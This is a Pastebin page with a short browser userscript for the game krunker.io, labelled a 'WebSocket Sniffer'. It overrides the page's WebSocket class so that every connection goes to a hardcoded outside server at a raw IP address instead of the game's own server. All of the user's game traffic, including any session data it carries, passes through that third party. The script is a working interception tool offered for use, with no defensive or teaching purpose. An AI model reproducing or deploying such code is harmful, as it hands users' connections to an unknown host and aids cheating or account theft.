Advertisement
Guest User

script

a guest
Oct 20th, 2019
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.08 KB | None | 0 0
  1. // ==UserScript==
  2. // @name New WebSocket Sniffer -> KPS
  3. // @namespace http://tampermonkey.net/
  4. // @version 0.1
  5. // @description try to take over the world!
  6. // @author Sh0T -> Lemon poo
  7. // @match *://krunker.io/*
  8. // @grant none
  9. // ==/UserScript==
  10.  
  11. setTimeout(() => {
  12. var _WebSocket = window.WebSocket;
  13. class WebSocket extends _WebSocket {
  14. constructor(url, protocol = undefined) {
  15. url = 'ws://51.81.18.85:8080';
  16.  
  17. super(...[url, protocol]);
  18. this.realOnMessage = null;
  19. }
  20. set onmessage(cb) {
  21. this._onmessage = cb;
  22. super.onmessage = this.fakeOnMessage;
  23. }
  24. fakeOnMessage(data) {
  25. if (this._onmessage) this._onmessage.apply(this, arguments);
  26. }
  27. set binaryType(type) {
  28. super.binaryType = type;
  29. }
  30. set onopen(cb) {
  31. super.onopen = cb;
  32. }
  33. send(data) {
  34. super.send.apply(this, arguments);
  35. }
  36. }
  37.  
  38. window.WebSocket = WebSocket;
  39. }, 500);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement